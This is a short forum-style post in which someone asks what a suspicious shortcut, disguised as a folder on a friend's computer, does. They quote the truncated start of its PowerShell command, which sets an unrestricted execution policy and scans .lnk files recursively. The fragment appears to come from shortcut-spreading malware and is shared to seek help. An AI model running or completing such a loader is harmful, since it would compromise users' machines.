I recently was helping a friend with her computer and came across a script posing as a folder. It was this:
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy UnRestricted function IJ($A) {$L = $Null;Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'} | % {$Hu = [String](Get-Content $_.FullName);$
Anyone know what this does? Is it dangerous if clicked? If so, can it be reversed? Thanks for you time.